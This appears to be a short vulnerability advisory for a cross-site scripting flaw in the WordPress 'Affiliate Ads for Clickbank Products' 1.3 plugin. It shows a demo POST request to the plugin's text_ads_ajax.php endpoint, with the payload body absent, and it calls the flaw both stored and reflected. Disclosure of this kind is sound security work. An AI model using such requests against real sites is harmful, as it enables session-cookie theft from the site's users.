WordPress Affiliate Ads For Clickbank Products 1.3 XSS

WordPress Affiliate Ads for Clickbank Products plugin version 1.3 suffers from a cross site scripting vulnerability.

MD5 | da711e4a4333cb8623f2939e09c9f31a

Class Input Validation Error
Remote Yes

Credit Ricardo Sanchez
Vulnerable Affiliate Ads for Clickbank Products Plugin 1.3

Affiliate Ads for Clickbank Products Plugin is prone to a stored cross-site
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the values are not filter correctly:

Demo Request POST:

POST /wordpress/wp-content/plugins/affiliate-ads-builder-for-
clickbank-products/text_ads_ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 227


Related Posts